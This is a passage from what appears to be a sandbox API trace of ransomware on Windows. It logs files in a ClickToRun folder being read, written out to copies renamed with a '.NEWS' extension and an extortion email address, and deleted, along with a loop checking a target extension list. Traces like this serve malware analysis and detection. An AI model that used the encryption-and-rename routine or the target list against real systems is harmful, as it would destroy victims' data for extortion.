lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.688] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x126, lpOverlapped=0x0) returned 1 [0081.688] SetEndOfFile (hFile=0x370) returned 1 [0081.688] CloseHandle (hObject=0x370) returned 1 [0081.689] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.689] SetEndOfFile (hFile=0x38c) returned 1 [0081.690] CloseHandle (hObject=0x38c) returned 1 [0081.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.690] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0081.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.691] lstrlenW (lpString=".doc") returned 4 [0081.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.691] lstrlenW (lpString=".docx") returned 5 [0081.691] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0081.691] lstrlenW (lpString=".pdf") returned 4 [0081.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.691] lstrlenW (lpString=".xls") returned 4 [0081.691] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.691] lstrlenW (lpString=".xlsx") returned 5 [0081.691] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0081.691] lstrlenW (lpString=".ppt") returned 4 [0081.691] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.691] lstrlenW (lpString=".zip") returned 4 [0081.691] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.691] lstrlenW (lpString=".rar") returned 4 [0081.691] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.691] lstrlenW (lpString=".bz2") returned 4 [0081.691] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.691] lstrlenW (lpString=".7z") returned 3 [0081.691] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.691] lstrlenW (lpString=".dbf") returned 4 [0081.691] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.691] lstrlenW (lpString=".1cd") returned 4 [0081.691] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.691] lstrlenW (lpString=".jpg") returned 4 [0081.692] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.692] lstrlenW (lpString=".doc") returned 4 [0081.692] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.692] lstrlenW (lpString=".docx") returned 5 [0081.692] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0081.692] lstrlenW (lpString=".pdf") returned 4 [0081.692] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.692] lstrlenW (lpString=".xls") returned 4 [0081.692] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.692] lstrlenW (lpString=".xlsx") returned 5 [0081.692] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0081.692] lstrlenW (lpString=".ppt") returned 4 [0081.692] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.692] lstrlenW (lpString=".zip") returned 4 [0081.692] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.692] lstrlenW (lpString=".rar") returned 4 [0081.692] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.693] lstrlenW (lpString=".bz2") returned 4 [0081.693] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.693] lstrlenW (lpString=".7z") returned 3 [0081.693] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.693] lstrlenW (lpString=".dbf") returned 4 [0081.693] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.693] lstrlenW (lpString=".1cd") returned 4 [0081.693] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0081.693] lstrlenW (lpString=".jpg") returned 4 [0081.693] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.693] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.693] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0081.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.694] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=19136) returned 1 [0081.694] CloseHandle (hObject=0x38c) returned 1 [0081.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0081.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.694] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.694] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0081.694] GetLastError () returned 0x0 [0081.695] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0081.696] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0081.697] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.697] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11e, lpOverlapped=0x0) returned 1 [0081.698] SetEndOfFile (hFile=0x370) returned 1 [0081.698] CloseHandle (hObject=0x370) returned 1 [0081.699] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.699] SetEndOfFile (hFile=0x38c) returned 1 [0081.700] CloseHandle (hObject=0x38c) returned 1 [0081.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.700] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0081.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.704] lstrlenW (lpString=".doc") returned 4 [0081.704] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.704] lstrlenW (lpString=".docx") returned 5 [0081.704] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.704] lstrlenW (lpString=".pdf") returned 4 [0081.704] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.704] lstrlenW (lpString=".xls") returned 4 [0081.704] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.704] lstrlenW (lpString=".xlsx") returned 5 [0081.704] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.704] lstrlenW (lpString=".ppt") returned 4 [0081.704] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.704] lstrlenW (lpString=".zip") returned 4 [0081.704] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.704] lstrlenW (lpString=".rar") returned 4 [0081.704] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.704] lstrlenW (lpString=".bz2") returned 4 [0081.704] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.704] lstrlenW (lpString=".7z") returned 3 [0081.704] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.704] lstrlenW (lpString=".dbf") returned 4 [0081.704] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.705] lstrlenW (lpString=".1cd") returned 4 [0081.705] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.705] lstrlenW (lpString=".jpg") returned 4 [0081.705] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.705] lstrlenW (lpString=".doc") returned 4 [0081.705] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.705] lstrlenW (lpString=".docx") returned 5 [0081.705] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.705] lstrlenW (lpString=".pdf") returned 4 [0081.705] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.705] lstrlenW (lpString=".xls") returned 4 [0081.705] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.705] lstrlenW (lpString=".xlsx") returned 5 [0081.705] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.705] lstrlenW (lpString=".ppt") returned 4 [0081.705] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.705] lstrlenW (lpString=".zip") returned 4 [0081.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.705] lstrlenW (lpString=".rar") returned 4 [0081.705] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.705] lstrlenW (lpString=".bz2") returned 4 [0081.705] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.705] lstrlenW (lpString=".7z") returned 3 [0081.705] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.705] lstrlenW (lpString=".dbf") returned 4 [0081.705] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.706] lstrlenW (lpString=".1cd") returned 4 [0081.706] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0081.706] lstrlenW (lpString=".jpg") returned 4 [0081.706] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.706] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.706] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0081.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.706] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=20672) returned 1 [0081.706] CloseHandle (hObject=0x38c) returned 1 [0081.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0081.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.706] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.707] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0081.707] GetLastError () returned 0x0 [0081.707] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x50c0, lpOverlapped=0x0) returned 1 [0081.709] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x50d0, lpOverlapped=0x0) returned 1 [0081.710] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.710] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11c, lpOverlapped=0x0) returned 1 [0081.710] SetEndOfFile (hFile=0x370) returned 1 [0081.710] CloseHandle (hObject=0x370) returned 1 [0081.712] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.712] SetEndOfFile (hFile=0x38c) returned 1 [0081.713] CloseHandle (hObject=0x38c) returned 1 [0081.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.713] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0081.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.713] lstrlenW (lpString=".doc") returned 4 [0081.713] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.713] lstrlenW (lpString=".docx") returned 5 [0081.713] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.713] lstrlenW (lpString=".pdf") returned 4 [0081.713] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.713] lstrlenW (lpString=".xls") returned 4 [0081.713] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.713] lstrlenW (lpString=".xlsx") returned 5 [0081.713] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.713] lstrlenW (lpString=".ppt") returned 4 [0081.714] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.714] lstrlenW (lpString=".zip") returned 4 [0081.714] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.714] lstrlenW (lpString=".rar") returned 4 [0081.714] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.714] lstrlenW (lpString=".bz2") returned 4 [0081.714] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.714] lstrlenW (lpString=".7z") returned 3 [0081.714] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.714] lstrlenW (lpString=".dbf") returned 4 [0081.714] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.714] lstrlenW (lpString=".1cd") returned 4 [0081.714] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.714] lstrlenW (lpString=".jpg") returned 4 [0081.714] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.714] lstrlenW (lpString=".doc") returned 4 [0081.714] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.714] lstrlenW (lpString=".docx") returned 5 [0081.714] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.714] lstrlenW (lpString=".pdf") returned 4 [0081.714] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.714] lstrlenW (lpString=".xls") returned 4 [0081.714] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.714] lstrlenW (lpString=".xlsx") returned 5 [0081.714] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.714] lstrlenW (lpString=".ppt") returned 4 [0081.714] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.714] lstrlenW (lpString=".zip") returned 4 [0081.715] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.715] lstrlenW (lpString=".rar") returned 4 [0081.715] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.715] lstrlenW (lpString=".bz2") returned 4 [0081.715] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.715] lstrlenW (lpString=".7z") returned 3 [0081.715] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.715] lstrlenW (lpString=".dbf") returned 4 [0081.715] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.715] lstrlenW (lpString=".1cd") returned 4 [0081.715] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0081.715] lstrlenW (lpString=".jpg") returned 4 [0081.715] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.715] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.715] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0081.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.716] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=19648) returned 1 [0081.716] CloseHandle (hObject=0x38c) returned 1 [0081.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0081.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.716] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.716] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 